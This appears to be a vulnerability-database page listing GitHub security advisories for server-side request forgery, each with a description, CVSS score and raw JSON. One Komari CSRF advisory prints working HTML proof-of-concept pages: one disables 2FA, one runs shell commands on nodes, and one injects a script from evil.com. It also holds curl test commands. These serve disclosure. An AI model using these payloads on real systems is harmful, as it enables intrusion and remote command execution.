Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6219 vulnerabilities reference this CWE, most recent first.

GHSA-HX7C-3FPV-RGPX

Vulnerability from github – Published: 2024-07-09 06:30 – Updated: 2024-07-09 06:30
VLAI
Details

WebFlow Services of SAP Business Workflow allows an authenticated attacker to enumerate accessible HTTP endpoints in the internal network by specially crafting HTTP requests. On successful exploitation this can result in information disclosure. It has no impact on integrity and availability of the application.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-34689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T05:15:10Z",
    "severity": "MODERATE"
  },
  "details": "WebFlow Services of SAP Business Workflow allows\nan authenticated attacker to enumerate accessible HTTP endpoints in the\ninternal network by specially crafting HTTP requests. On successful\nexploitation this can result in information disclosure. It has no impact on\nintegrity and availability of the application.",
  "id": "GHSA-hx7c-3fpv-rgpx",
  "modified": "2024-07-09T06:30:40Z",
  "published": "2024-07-09T06:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34689"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3458789"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HX7P-CX9F-W67G

Vulnerability from github – Published: 2026-04-30 18:30 – Updated: 2026-04-30 18:30
VLAI
Details

A Server-Side Request Forgery (SSRF) in the /ureport/datasource/testConnection endpoint of SpringBlade v4.8.0 allows authenticated attackers to scan internal resources via a crafted GET request.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-36764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-30T17:16:26Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the /ureport/datasource/testConnection endpoint of SpringBlade v4.8.0 allows authenticated attackers to scan internal resources via a crafted GET request.",
  "id": "GHSA-hx7p-cx9f-w67g",
  "modified": "2026-04-30T18:30:32Z",
  "published": "2026-04-30T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chillzhuang/SpringBlade/issues/36"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chillzhuang/SpringBlade"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HX8J-P33G-VMXV

Vulnerability from github – Published: 2024-07-05 18:34 – Updated: 2024-07-08 18:31
VLAI
Details

Volmarg Personal Management System 1.4.64 is vulnerable to SSRF (Server Side Request Forgery) via uploading a SVG file. The server can make unintended HTTP and DNS requests to a server that the attacker controls.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-29319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-05T16:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "Volmarg Personal Management System 1.4.64 is vulnerable to SSRF (Server Side Request Forgery) via uploading a SVG file. The server can make unintended HTTP and DNS requests to a server that the attacker controls.",
  "id": "GHSA-hx8j-p33g-vmxv",
  "modified": "2024-07-08T18:31:16Z",
  "published": "2024-07-05T18:34:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/b-hermes/vulnerability-research/tree/main/CVE-2024-29319"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HX8V-G79F-8W5F

Vulnerability from github – Published: 2026-09-17 14:51 – Updated: 2026-09-17 14:51
VLAI
Summary
LiteLLM Proxy has server-side request forgery via the `user_config` request parameter
Details

Summary

A server-side request forgery in LiteLLM Proxy lets an authenticated caller redirect the proxy's outbound request to a host of their choosing by smuggling an api_base inside the user_config request body, bypassing the existing parameter guard.

Details

LiteLLM Proxy validates request bodies with is_request_body_safe, which blocks the api_base and base_url parameters but does not cover user_config. The user_config object is used to build the outbound router for a request, so a caller can place an api_base inside it and reach an arbitrary host. The guard only inspected the two top-level keys, so the same api_base nested inside user_config was never checked.

Exploitation requires a valid virtual key.

Impact

An authenticated caller can make the proxy issue server-side requests to internal or external hosts of their choosing, reaching endpoints the caller cannot otherwise access.

Affected / Patched

Affected: <= 1.83.8 Patched: 1.83.9

Remediation

Upgrade to 1.83.9 or later (released 2026-04-17).

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.83.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.83.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:51:21Z",
    "nvd_published_at": "2026-09-16T19:17:21Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA server-side request forgery in LiteLLM Proxy lets an authenticated caller redirect the\nproxy\u0027s outbound request to a host of their choosing by smuggling an `api_base` inside the\n`user_config` request body, bypassing the existing parameter guard.\n\n### Details\nLiteLLM Proxy validates request bodies with `is_request_body_safe`, which blocks the\n`api_base` and `base_url` parameters but does not cover `user_config`. The `user_config`\nobject is used to build the outbound router for a request, so a caller can place an\n`api_base` inside it and reach an arbitrary host. The guard only inspected the two\ntop-level keys, so the same `api_base` nested inside `user_config` was never checked.\n\nExploitation requires a valid virtual key.\n\n### Impact\nAn authenticated caller can make the proxy issue server-side requests to internal or\nexternal hosts of their choosing, reaching endpoints the caller cannot otherwise access.\n\n### Affected / Patched\nAffected: `\u003c= 1.83.8`\nPatched: `1.83.9`\n\n### Remediation\nUpgrade to 1.83.9 or later (released 2026-04-17).",
  "id": "GHSA-hx8v-g79f-8w5f",
  "modified": "2026-09-17T14:51:21Z",
  "published": "2026-09-17T14:51:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-hx8v-g79f-8w5f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/pull/25827"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/commit/47214be317f45a2d2ac08258362e0481411eb427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BerriAI/litellm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LiteLLM Proxy has server-side request forgery via the `user_config` request parameter"
}

GHSA-HX93-CPFV-G2PW

Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31
VLAI
Details

Wyoming before 1.10.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers with network access to force outbound connections to arbitrary targets by supplying a malicious uri query parameter to the HTTP API. Attackers can pass arbitrary tcp:// or unix:// URIs to affected endpoints including /api/info, /api/speech-to-text, and /api/text-to-speech to override the server-configured backend and redirect connections to attacker-chosen hosts.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-01T19:17:31Z",
    "severity": "MODERATE"
  },
  "details": "Wyoming before 1.10.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers with network access to force outbound connections to arbitrary targets by supplying a malicious `uri` query parameter to the HTTP API. Attackers can pass arbitrary `tcp://` or `unix://` URIs to affected endpoints including /api/info, /api/speech-to-text, and /api/text-to-speech to override the server-configured backend and redirect connections to attacker-chosen hosts.",
  "id": "GHSA-hx93-cpfv-g2pw",
  "modified": "2026-09-01T21:31:46Z",
  "published": "2026-09-01T21:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8712"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OHF-Voice/wyoming/releases/tag/v1.10.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wyoming-ssrf-via-uri-query-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HXGX-584X-VWM8

Vulnerability from github – Published: 2023-03-31 21:30 – Updated: 2023-04-10 16:42
VLAI
Summary
Appwrite Server-Side Request Forgery vulnerability
Details

Appwrite up to v1.2.1 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /v1/avatars/favicon. This vulnerability allows attackers to access network resources and sensitive information via a crafted GET request.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "appwrite/server-ce"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-27159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-10T16:42:16Z",
    "nvd_published_at": "2023-03-31T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Appwrite up to v1.2.1 was discovered to contain a Server-Side Request Forgery (SSRF) via the component `/v1/avatars/favicon`. This vulnerability allows attackers to access network resources and sensitive information via a crafted GET request.",
  "id": "GHSA-hxgx-584x-vwm8",
  "modified": "2023-04-10T16:42:16Z",
  "published": "2023-03-31T21:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27159"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/b33t1e/e9e8192317c111e7897e04d2f9bf5fdb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/appwrite/appwrite"
    },
    {
      "type": "WEB",
      "url": "https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA"
    },
    {
      "type": "WEB",
      "url": "http://appwrite.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Appwrite Server-Side Request Forgery vulnerability"
}

GHSA-HXH5-F5FJ-62C3

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

A Server Side Request Forgery (SSRF) vulnerability in tools/files/importers/remote.php in concrete5 8.2.0 can lead to attacks on the local network and mapping of the internal network, because of URL functionality on the File Manager page.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-13790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-09T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "A Server Side Request Forgery (SSRF) vulnerability in tools/files/importers/remote.php in concrete5 8.2.0 can lead to attacks on the local network and mapping of the internal network, because of URL functionality on the File Manager page.",
  "id": "GHSA-hxh5-f5fj-62c3",
  "modified": "2022-05-13T01:08:37Z",
  "published": "2022-05-13T01:08:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13790"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/243865"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXHG-M762-RJXH

Vulnerability from github – Published: 2022-11-17 18:30 – Updated: 2022-11-18 21:30
VLAI
Details

kkFileView v4.1.0 was discovered to contain a Server-Side Request Forgery (SSRF) via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. This vulnerability allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the url parameter.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-43140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-17T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "kkFileView v4.1.0 was discovered to contain a Server-Side Request Forgery (SSRF) via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. This vulnerability allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the url parameter.",
  "id": "GHSA-hxhg-m762-rjxh",
  "modified": "2022-11-18T21:30:18Z",
  "published": "2022-11-17T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43140"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kekingcn/kkFileView/issues/392"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXJG-93WC-H8P8

Vulnerability from github – Published: 2026-09-09 23:48 – Updated: 2026-09-09 23:48
VLAI
Summary
Komari: Management Interface CSRF
Details

Vulnerability Overview

The session_token cookie is set without the SameSite or Secure attributes (login.go:68).

All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.

The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.

Root Cause

// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware

Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.

Browser Limitations

  • Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax.
  • Cookies without an explicit SameSite attribute are not included in cross-site POST requests.
  • As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
Scenario Exploitable
Cross-site HTML (modern browsers) ✗ Blocked by SameSite=Lax
Cross-site HTML (Chrome <80 / legacy browsers) ✓
Same-origin context (Browser Console / existing XSS) ✓
Man-in-the-middle over HTTP (Secure=false) ✓

High-Impact Operations Reachable via CSRF

Endpoint Method Impact
/api/admin/task/exec POST Execute arbitrary shell commands on managed nodes
/api/admin/2fa/disable POST Disable administrator two-factor authentication
/api/admin/settings/ POST Modify system configuration
/api/admin/upload/backup POST Upload a malicious backup
/api/admin/record/clear/all POST Delete all monitoring records
/api/admin/client/:uuid/edit POST Modify client configuration
/api/admin/client/:uuid/remove POST Remove managed clients
/api/admin/session/remove/all POST Invalidate all active sessions
/api/admin/settings/cloudflared/start POST Start a Cloudflared tunnel

PoC 1 — Disable 2FA

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="sink"></form>
<script>
  document.getElementById('f').submit();
</script>
</body>
</html>

PoC 2 — Remote Command Execution

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD    = "id && hostname && whoami";

fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
</script>
</body>
</html>

PoC 3 — Modify System Configuration

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    "site_name": "Pwned",
    "custom_head": "<script src='https://evil.com/hook.js'><\/script>"
  })
});
</script>
</body>
</html>

PoC 4 — Clear All Monitoring Records

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/record/clear/all"
      target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>

Verification Script

#!/bin/bash
KOMARI="${1:-https://komari.example.com}"

echo "=== CSRF Verification ==="

echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
  -X POST "$KOMARI/api/public/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}' | grep -i 'set-cookie'

echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
  -H "Origin: https://evil.com" \
  "$KOMARI/api/public/config" | grep -i 'access-control'

echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$KOMARI/api/admin/settings/" \
  -H "Content-Type: application/json" \
  -H "Origin: https://evil.com" \
  -d '{}')

echo "    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/komari-monitor/komari"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260609084633-98122fa4d110"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-09T23:48:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Vulnerability Overview\n\nThe `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`).\n\nAll `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**.\n\n**The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.**\n\n## Root Cause\n\n```go\n// komari-main/api/public/login.go:68\nc.SetCookie(\"session_token\", session, 2592000, \"/\", \"\", false, true)\n//   Secure=false, SameSite not explicitly set\n//   Admin route group (server.go:213-343) has no CSRF middleware\n```\n\nGin\u0027s `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight.\n\n## Browser Limitations\n\n- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`.\n- Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**.\n- As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**.\n\n| Scenario | Exploitable |\n|----------|-------------|\n| Cross-site HTML (modern browsers) | \u2717 Blocked by `SameSite=Lax` |\n| Cross-site HTML (Chrome \u003c80 / legacy browsers) | \u2713 |\n| Same-origin context (Browser Console / existing XSS) | \u2713 |\n| Man-in-the-middle over HTTP (`Secure=false`) | \u2713 |\n\n## High-Impact Operations Reachable via CSRF\n\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes |\n| `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication |\n| `/api/admin/settings/` | POST | Modify system configuration |\n| `/api/admin/upload/backup` | POST | Upload a malicious backup |\n| `/api/admin/record/clear/all` | POST | Delete all monitoring records |\n| `/api/admin/client/:uuid/edit` | POST | Modify client configuration |\n| `/api/admin/client/:uuid/remove` | POST | Remove managed clients |\n| `/api/admin/session/remove/all` | POST | Invalidate all active sessions |\n| `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel |\n\n## PoC 1 \u2014 Disable 2FA\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/2fa/disable\"\n      target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\n  document.getElementById(\u0027f\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 2 \u2014 Remote Command Execution\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nvar CMD    = \"id \u0026\u0026 hostname \u0026\u0026 whoami\";\n\nfetch(KOMARI + \"/api/admin/client/list\", { credentials: \"include\" })\n  .then(function(r){ return r.json(); })\n  .then(function(data){\n    var nodes = data.data || [];\n    var uuids = [];\n    for (var i = 0; i \u003c nodes.length; i++) {\n      if (nodes[i].uuid) uuids.push(nodes[i].uuid);\n    }\n    if (uuids.length === 0) return;\n    return fetch(KOMARI + \"/api/admin/task/exec\", {\n      method: \"POST\",\n      credentials: \"include\",\n      headers: { \"Content-Type\": \"application/json\" },\n      body: JSON.stringify({ command: CMD, clients: uuids })\n    });\n  });\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 3 \u2014 Modify System Configuration\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nfetch(KOMARI + \"/api/admin/settings/\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({\n    \"site_name\": \"Pwned\",\n    \"custom_head\": \"\u003cscript src=\u0027https://evil.com/hook.js\u0027\u003e\u003c\\/script\u003e\"\n  })\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 4 \u2014 Clear All Monitoring Records\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/record/clear/all\"\n      target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\ndocument.getElementById(\u0027f\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## Verification Script\n\n```bash\n#!/bin/bash\nKOMARI=\"${1:-https://komari.example.com}\"\n\necho \"=== CSRF Verification ===\"\n\necho \"[1] Cookie Attributes...\"\ncurl -s -D - -o /dev/null \\\n  -X POST \"$KOMARI/api/public/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"test\",\"password\":\"test\"}\u0027 | grep -i \u0027set-cookie\u0027\n\necho \"\"\necho \"[2] CORS Headers...\"\ncurl -s -D - -o /dev/null \\\n  -H \"Origin: https://evil.com\" \\\n  \"$KOMARI/api/public/config\" | grep -i \u0027access-control\u0027\n\necho \"\"\necho \"[3] CSRF Protection on Admin Endpoint...\"\nCODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -X POST \"$KOMARI/api/admin/settings/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: https://evil.com\" \\\n  -d \u0027{}\u0027)\n\necho \"    HTTP ${CODE} \u2014 A 401 response indicates that only session authentication is enforced and no CSRF protection is present.\"\n```",
  "id": "GHSA-hxjg-93wc-h8p8",
  "modified": "2026-09-09T23:48:31Z",
  "published": "2026-09-09T23:48:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/security/advisories/GHSA-hxjg-93wc-h8p8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/komari-monitor/komari"
    },
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/releases/tag/1.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Komari: Management Interface CSRF"
}

GHSA-J229-CR78-6MF5

Vulnerability from github – Published: 2026-08-14 00:31 – Updated: 2026-08-14 00:31
VLAI
Details

A flaw has been found in EnzoVezzaro mcp-dominican-layer up to 39dd373786712650097ad31db27d5c477c8f9c82. The affected element is the function axios.get of the file src/index.ts of the component parse-csv tool. This manipulation of the argument csvUrl causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-19751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T22:17:19Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in EnzoVezzaro mcp-dominican-layer up to 39dd373786712650097ad31db27d5c477c8f9c82. The affected element is the function axios.get of the file src/index.ts of the component parse-csv tool. This manipulation of the argument csvUrl causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-j229-cr78-6mf5",
  "modified": "2026-08-14T00:31:59Z",
  "published": "2026-08-14T00:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19751"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EnzoVezzaro/mcp-dominican-layer/issues/2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EnzoVezzaro/mcp-dominican-layer"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-19751"
    },
    {
